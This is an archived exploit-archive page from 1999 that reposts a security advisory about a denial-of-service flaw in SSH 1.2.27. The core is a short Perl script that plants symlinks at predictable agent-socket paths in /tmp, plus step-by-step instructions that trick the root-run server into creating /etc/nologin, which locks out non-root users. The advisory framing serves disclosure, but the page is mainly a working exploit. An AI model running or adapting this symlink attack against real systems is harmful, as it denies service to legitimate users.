what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ssh_exploit.txt

ssh_exploit.txt
Posted Sep 28, 1999

SSH 1.2.27 vulnerable to a denial of service attack

tags | exploit, denial of service
SHA-256 | 52db1d05b27b6f7d8b74feae305f307c509b18a2db01b105867f9738c709aa92

ssh_exploit.txt

Change Mirror Download
I recieved this email today and wanted to know if it is something to be of
concern about.



The following security advisory is sent to the securiteam mailing list, and
can be found at the SecuriTeam web site: http://www.securiteam.com

SSH 1.2.27 vulnerable to a Denial of Service attack

------------------------------------------------------------

SSH has the option of setting up "authentication sockets", used to pass
authentication keys securely. When this is used, a socket is created on both
client and server machines; the socket created on the server uses an easy to
guess filename (based on the PID). The creation of this socket is done while
the server is acting as root and follows symlinks.


******************************

Exploit:

- connect to remote machine
- run the following script (creates symlinks for the next 50 PID's):

----- cut -----
#!/usr/bin/perl

$pid = $$;

$whoami = `whoami`;
chop($whoami);
mkdir("/tmp/ssh-$whoami", 0700);

for ($i = $pid; $i < $pid+50; $i++)
{
symlink("/etc/nologin", "/tmp/ssh-$whoami/ssh-$i-agent");
}
----- cut -----


- on local machine, execute ssh-agent1; it will produce a few lines to cut and paste into your shell.

- ssh1 to the remote machine; enter password

The socket will have been created at /etc/nologin, preventing other non-root users from logging in. This connection too will die with "Logins are currently denied by /etc/nologin:"

This was tested on a RedHat 6.0 machine, with standard configure/make/install installation of ssh. This script should work pretty well for systems that create processes where each PID is one greater than the last; other platforms may require modifications, or many-many more links, if they're exploitable.




Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    18 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    12 Files
  • 29
    May 29th
    31 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close